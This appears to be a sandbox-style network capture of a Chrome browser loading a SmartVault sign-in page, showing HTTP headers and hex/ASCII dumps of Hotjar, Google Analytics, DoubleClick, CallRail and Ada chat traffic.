2024-04-11 20:35:44 UTC	719	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 226211 Connection: close Date: Fri, 05 Apr 2024 10:18:22 GMT Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=31536000 Cross-Origin-Resource-Policy: cross-origin ETag: "82c928eb184b2ce235902634d808a4fc" Last-Modified: Fri, 05 Apr 2024 10:17:11 GMT Strict-Transport-Security: max-age=2592000; includeSubDomains X-Content-Type-Options: nosniff X-Robots-Tag: none Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 241db89625f6ef70a00b0e19e0cfc332.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: N_nqGBcipZ3jW4Y_rkMZ7rpLeqlHiRyZ5wBcavxaQ1sAYxDkxepNbg== Age: 555442
2024-04-11 20:35:44 UTC	15665	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 6f 64 75 6c 65 73 2e 34 32 39 32 33 36 64 35 36 30 66 35 31 64 31 38 36 62 38 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 34 37 38 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 63 6f 6e 73 74 20 72 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 49 44 45 4e 54 49 46 59 5f 55 53 45 52 3a 22 69 64 65 6e 74 69 66 79 5f 75 73 65 72 22 2c 41 55 54 4f 54 41 47 5f 52 45 43 4f 52 44 49 4e 47 3a 22 61 75 74 6f 74 61 67 5f 72 65 63 6f Data Ascii: /! For license information please see modules.429236d560f51d186b8b.js.LICENSE.txt /!function(){var e={4788:function(e,t,n){"use strict";n.d(t,{s:function(){return r}});const r=Object.freeze({IDENTIFY_USER:"identify_user",AUTOTAG_RECORDING:"autotag_reco
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6f 6e 28 29 7b 65 2e 72 75 6e 43 61 6c 6c 62 61 63 6b 28 29 2c 74 2e 61 63 74 69 76 65 57 69 64 67 65 74 3d 65 7d 29 29 7d 2c 74 2e 73 65 74 4c 61 6e 67 75 61 67 65 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 75 2e 69 6e 63 6c 75 64 65 73 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 49 6e 76 61 6c 69 64 20 6c 61 6e 67 75 61 67 65 20 22 27 2b 74 2b 27 22 27 29 3b 65 3d 74 2c 68 6a 2e 77 69 64 67 65 74 2e 61 63 74 69 76 65 4c 61 6e 67 75 61 67 65 44 69 72 65 63 74 69 6f 6e 3d 6e 2e 69 6e 64 65 78 4f 66 28 74 29 3e 2d 31 3f 22 72 74 6c 22 3a 22 6c 74 72 22 2c 68 6a 2e 77 69 64 67 65 74 2e 69 73 41 63 74 69 76 65 4c 61 6e 67 75 61 67 65 44 69 72 65 63 74 69 6f 6e 52 74 6c 3d 22 72 74 6c 22 3d 3d Data Ascii: on(){e.runCallback(),t.activeWidget=e}))},t.setLanguage=hj.tryCatch((function(t){if(!u.includes(t))throw new Error('Invalid language "'+t+'"');e=t,hj.widget.activeLanguageDirection=n.indexOf(t)>-1?"rtl":"ltr",hj.widget.isActiveLanguageDirectionRtl="rtl"==
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 5c 73 40 22 5d 2b 29 2a 29 7c 28 22 2e 2b 22 29 29 40 28 28 5c 5b 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5d 29 7c 28 28 5b 61 2d 7a 41 2d 5a 5c 2d 30 2d 39 5d 2b 5c 2e 29 2b 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 29 24 2f 2e 74 65 73 74 28 65 29 7d 29 2c 22 75 74 69 6c 73 2e 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 22 29 2c 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 7c 7c 28 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 3d 28 30 2c 72 2e 4b 29 28 29 2c 22 6d 6f 62 69 6c 65 22 3d 3d 3d 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 26 26 28 68 6a 2e 75 Data Ascii: \s@"]+)*)\|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}),"utils.validateEmail"),hj.tryCatch((function(){return hj.userDeviceType\|\|(hj.userDeviceType=(0,r.K)(),"mobile"===hj.userDeviceType&&(hj.u
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6e 67 74 68 7d 7d 29 2c 6e 2e 6c 65 6e 67 74 68 3e 30 26 26 63 28 29 29 7d 2c 68 6a 2e 69 6e 69 74 69 61 6c 56 69 73 69 74 44 61 74 61 53 65 6e 74 26 26 65 2e 61 63 74 69 76 61 74 65 28 29 2c 65 7d 28 29 2c 21 30 29 7d 29 2c 22 63 6f 6d 6d 61 6e 64 22 29 28 29 7d 2c 31 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 72 3d 6e 28 34 37 38 38 29 2c 6f 3d 6e 28 36 39 33 39 29 2c 69 3d 6e 28 35 36 35 38 29 2c 61 3d 6e 28 36 38 34 39 29 2c 73 3d 6e 28 36 37 34 32 29 2c 63 3d 6e 28 37 36 39 38 29 2c 75 3d 6e 28 37 32 34 29 2c 6c 3d 6e 28 33 38 38 33 29 2c 68 3d 6e 28 35 31 34 38 29 3b 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 Data Ascii: ngth}}),n.length>0&&c())},hj.initialVisitDataSent&&e.activate(),e}(),!0)}),"command")()},1229:function(e,t,n){"use strict";n.r(t);var r=n(4788),o=n(6939),i=n(5658),a=n(6849),s=n(6742),c=n(7698),u=n(724),l=n(3883),h=n(5148);hj.tryCatch((function(){return h
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 29 7d 2c 64 65 62 75 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 26 26 75 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 22 23 32 61 39 64 38 66 22 3b 63 21 3d 65 26 26 73 26 26 28 63 6f 6e 73 6f 6c 65 2e 67 72 6f 75 70 45 6e 64 28 29 2c 73 3d 21 31 29 2c 63 3d 65 2c 76 6f 69 64 20 30 21 3d 3d 68 6a 2e 64 65 62 75 67 26 26 68 6a 2e 64 65 62 75 67 2e 69 73 4f 6e 28 29 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 61 28 65 29 3f 68 6a 2e 68 71 2e 65 61 63 68 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 68 6a 2e 6c 6f 67 2e 64 65 62 75 67 28 65 2b 22 3a 20 22 2b 6e 2c 74 2c 6e 75 6c 6c 29 7d 29 29 3a 28 65 3d 74 Data Ascii: n:function(){},error:function(){}})},debug:function(e,t,n){var r=t&&u[t.toLowerCase()]\|\|"#2a9d8f";c!=e&&s&&(console.groupEnd(),s=!1),c=e,void 0!==hj.debug&&hj.debug.isOn()&&("object"===a(e)?hj.hq.each(e,(function(e,n){hj.log.debug(e+": "+n,t,null)})):(e=t
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 2c 74 68 69 73 2e 6f 62 73 65 72 76 65 72 43 61 6c 6c 62 61 63 6b 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 74 3d 6e 65 77 20 56 28 6e 2e 72 6f 6f 74 2c 65 2c 6e 2e 6f 70 74 69 6f 6e 73 2e 6f 6c 64 50 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 29 2c 72 3d 6e 65 77 20 71 28 74 29 3b 6e 2e 63 68 61 6e 67 65 73 54 6f 52 65 70 6f 72 74 28 72 29 26 26 6e 2e 63 61 6c 6c 62 61 63 6b 28 72 29 7d 7d 29 2c 22 4d 75 74 61 74 69 6f 6e 53 75 6d 6d 61 72 79 2e 6f 62 73 65 72 76 65 72 43 61 6c 6c 62 61 63 6b 22 29 2c 74 68 69 73 2e 72 65 63 6f 6e 6e 65 63 74 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 69 66 28 6e 2e 63 6f 6e 6e Data Ascii: ,this.observerCallback=hj.tryCatch((function(e){if(e&&e.length){var t=new V(n.root,e,n.options.oldPreviousSibling),r=new q(t);n.changesToReport(r)&&n.callback(r)}}),"MutationSummary.observerCallback"),this.reconnect=hj.tryCatch((function(){var e;if(n.conn
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 26 22 63 6c 61 73 73 22 21 3d 3d 61 5b 75 5d 2e 6e 61 6d 65 7c 7c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 61 5b 75 5d 2e 6e 61 6d 65 2c 61 5b 75 5d 2e 76 61 6c 75 65 29 2c 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 2b 3d 61 5b 75 5d 2e 6e 61 6d 65 2b 27 3d 22 27 2b 61 5b 75 5d 2e 76 61 6c 75 65 2b 27 22 20 27 3b 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 2b 3d 22 3e 20 2a 2f 22 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 62 6c 6f 62 2d 68 61 73 68 2d 22 2b 73 29 2c 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 63 2c 6f 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 6f 3d 63 7d 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 3d 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f Data Ascii: &"class"!==a[u].name\|\|c.setAttribute(a[u].name,a[u].value),i[e.parentSelector]+=a[u].name+'="'+a[u].value+'" ';i[e.parentSelector]+="> */",c.classList.add("blob-hash-"+s),o.parentNode.insertBefore(c,o.nextSibling)}o=c}i[e.parentSelector]=i[e.parentSelecto
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 61 67 65 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 68 6a 2e 6c 6f 67 2e 77 61 72 6e 49 66 45 6d 70 74 79 28 74 2c 22 74 72 79 53 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 3a 20 63 6f 6e 74 65 6e 74 22 29 2c 68 6a 2e 6c 6f 67 2e 77 61 72 6e 49 66 45 6d 70 74 79 28 6e 2c 22 74 72 79 53 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 3a 20 75 72 6c 4d 44 35 22 29 2c 65 2e 73 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6e 74 65 6e 74 5f 75 75 69 64 3b 74 3f 28 79 3d 21 30 2c 75 2e 79 2e 73 65 74 28 22 70 61 67 65 43 6f 6e 74 65 6e 74 22 2c 7b 75 75 69 64 3a 74 2c 6d 64 35 3a 6e 7d 29 29 3a 68 6a 2e 6c 6f 67 2e 77 61 72 6e 28 22 45 78 70 65 63 74 69 6e 67 20 Data Ascii: ageContent=function(t,n){hj.log.warnIfEmpty(t,"tryStorePageContent: content"),hj.log.warnIfEmpty(n,"tryStorePageContent: urlMD5"),e.storePageContent(t,(function(e){var t=e.content_uuid;t?(y=!0,u.y.set("pageContent",{uuid:t,md5:n})):hj.log.warn("Expecting
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 5f 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 Data Ascii: ction(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_(e)}function C(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"i
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 53 61 6d 70 6c 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 64 26 26 64 2c 43 3d 6e 75 6c 6c 21 3d 3d 28 70 3d 28 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 72 65 63 6f 72 64 69 6e 67 45 6e 61 62 6c 65 64 29 26 26 5f 29 26 26 76 6f 69 64 20 30 21 3d 3d 70 26 26 70 2c 7b 69 64 3a 77 2c 63 72 65 61 74 65 64 3a 53 2c 69 6e 53 61 6d 70 6c 65 3a 5f 2c 73 65 73 73 69 6f 6e 69 7a 65 72 42 65 74 61 45 6e 61 62 6c 65 64 3a 6e 75 6c 6c 21 3d 3d 28 76 3d 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 73 65 73 73 69 6f 6e 69 7a 65 72 42 65 74 61 45 6e 61 62 6c 65 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 72 65 63 6f 72 64 69 6e 67 45 6e 61 62 6c 65 64 3a 43 2c 73 65 73 73 69 6f 6e 52 65 6a 65 Data Ascii: null==i?void 0:i.inSample)&&void 0!==d&&d,C=null!==(p=(null==i?void 0:i.recordingEnabled)&&_)&&void 0!==p&&p,{id:w,created:S,inSample:_,sessionizerBetaEnabled:null!==(v=null==i?void 0:i.sessionizerBetaEnabled)&&void 0!==v&&v,recordingEnabled:C,sessionReje

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50132	216.239.36.181	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	1473	OUT	POST /g/collect?v=2&tid=G-E1ZB2L7Z3V&gtm=45je44a0v881606118z8833996265za200&_p=1712867740458&_gaz=1&gcd=13l3l3l3l1&npa=0&dma=0&cid=118679924.1712867743&ul=en-us&sr=1280x1024&ir=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_eu=EA&_s=1&sid=1712867743&sct=1&seg=0&dl=https%3A%2F%2Fbfjfinancialgroup.smartvault.com%2Fsecure%2FSignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx&dt=SmartVault%20%3A%20Sign%20In&en=page_view&_fv=1&_ss=1&tfd=5119 HTTP/1.1 Host: analytics.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
2024-04-11 20:35:44 UTC	466	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://bfjfinancialgroup.smartvault.com Date: Thu, 11 Apr 2024 20:35:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50133	142.251.167.156	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	900	OUT	POST /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&gjid=1262711934&_gid=1484758262.1712867743&_u=aGBAiEAjBAAAAGAAI~&z=900503395 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://bfjfinancialgroup.smartvault.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	610	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://bfjfinancialgroup.smartvault.com Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 20:35:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:44 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50135	142.251.167.156	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	832	OUT	POST /g/collect?v=2&tid=G-E1ZB2L7Z3V&cid=118679924.1712867743&gtm=45je44a0v881606118z8833996265za200&aip=1&dma=0&gcd=13l3l3l3l1&npa=0 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	466	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://bfjfinancialgroup.smartvault.com Date: Thu, 11 Apr 2024 20:35:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50136	52.85.61.83	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	796	OUT	GET /group/0/62ae1f386a513fd442e6/12/icap.js?t=1712867743637&ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0&uuid=9161850b-5960-4a3c-9ab8-5bec9401f0c4&ids%5B%5D=522876257 HTTP/1.1 Host: js.calltrk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	744	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Content-Length: 22 Connection: close Date: Thu, 11 Apr 2024 20:35:44 GMT Cache-Control: max-age=0, private, must-revalidate Etag: W/"1643b5cec44cc597bc2cce3448ce5434" Referrer-Policy: strict-origin-when-cross-origin Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Request-Id: 6aae80f5-a079-40c5-bb4a-caa45839f5da X-Runtime: 0.025600 X-Xss-Protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 c22d4946ef5faea12b8d3942ceb9259a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: 4jYWoME4WfsAdHeOlH2R04sir-pJlEk8xd5UKmXgOFBGChNcLMqDJg==
2024-04-11 20:35:44 UTC	22	IN	Data Raw: 2f 2a 20 63 68 61 6e 67 65 73 20 72 65 63 6f 72 64 65 64 20 2a 2f Data Ascii: /* changes recorded */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50137	18.164.124.93	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	598	OUT	GET /chat-manifest.json HTTP/1.1 Host: static.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	766	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 252 Connection: close Date: Thu, 11 Apr 2024 20:13:25 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Thu, 11 Apr 2024 20:11:23 GMT Etag: "9333f96d8bbadd64a6bd55255a021a64" X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: zhBgUlm01wV_L0RYrAhpXr_Xm9iBba2r Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 8f060aa38a518e1d4516e68318e81658.cloudfront.net (CloudFront) Age: 1339 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: oxg1KVq1sNfJK6xqaIzN39dc0VttiwsfI3N27YXEK7qSMn5aN_XHFQ==
2024-04-11 20:35:44 UTC	252	IN	Data Raw: 7b 0a 20 20 22 76 65 72 73 69 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 63 61 6e 61 72 79 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 34 34 33 30 34 64 64 66 63 33 39 32 63 65 64 32 63 61 30 39 63 63 32 30 36 34 33 35 62 35 39 38 36 64 31 33 35 62 36 33 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 30 2e 31 0a 20 20 20 20 7d 2c 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 73 74 61 62 6c 65 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 62 39 36 34 31 63 32 38 63 37 66 62 61 33 39 30 64 38 61 33 61 66 35 39 33 31 63 63 30 35 61 65 61 34 64 65 36 38 30 39 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 30 2e 39 0a 20 20 20 20 7d 0a 20 20 5d 0a 7d 0a 0a Data Ascii: { "versions": [ { "tag": "canary", "hash": "44304ddfc392ced2ca09cc206435b5986d135b63", "weight": 0.1 }, { "tag": "stable", "hash": "b9641c28c7fba390d8a3af5931cc05aea4de6809", "weight": 0.9 } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50140	52.85.61.39	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:44 UTC	387	OUT	GET /group/0/62ae1f386a513fd442e6/12/swap_session.json HTTP/1.1 Host: js.calltrk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
